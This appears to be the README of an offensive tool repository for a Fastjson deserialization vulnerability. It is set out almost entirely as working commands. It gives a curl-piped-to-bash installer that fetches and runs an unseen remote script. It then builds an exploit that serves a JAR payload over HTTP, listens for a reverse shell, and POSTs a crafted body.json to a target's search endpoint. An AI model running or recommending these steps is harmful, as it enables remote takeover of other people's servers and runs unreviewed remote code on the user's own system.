1xpwn/cve-2026-16723A critical vulnerability affecting Fastjson versions 1.2.68 – 1.2.83.
Linux (or WSL on Windows)
C++17 compatible compiler (GCC 7+ or Clang 5+)
CMake 3.10 or newer
System packages:
libzip-devzlib1g-devsudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev
Install everything with a single command:
curl -sSL https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh | bash
Or download and execute the installer manually:
wget https://raw.githubusercontent.com/1xPwn/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh
The installation script will:
Install all required system packages.
Download the required header-only libraries:
nlohmann/jsoncpp-httplibBuild the project.
Place the compiled binary in the current directory as:
./exploit
If you cloned the repository:
git clone https://github.com/1xPwn/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh
Or build manually:
mkdir build
cd build
cmake ..
make -j$(nproc)
cp exploit ../
Run the binary:
./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]
./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000
After execution the following files will be created:
x
body.json
The HTTP server will start on the configured port (default: 8000) and the tool will wait for an incoming reverse shell connection.
Send the generated body.json file to the vulnerable endpoint:
curl -X POST http://<TARGET_IP>:8080/api/products/search \
-H "Content-Type: application/json" \
--data-binary @body.json
If the application expects a different JSON field, specify it using the --field option.
| Option | Description | Default |
|---|---|---|
--lhost | Local IP address | Required |
--lport | Reverse shell listening port | 4444 |
--http-port | HTTP server port | 8000 |
--first | First file descriptor to try | 3 |
--last | Last file descriptor to try | 30 |
--field | JSON field name | facets |
--outdir | Output directory | . |
-h, --help | Show help message | — |
| File | Description |
|---|---|
x | Generated JAR payload |
body.json | JSON payload to send to the target |
jar:http and jar:file protocols.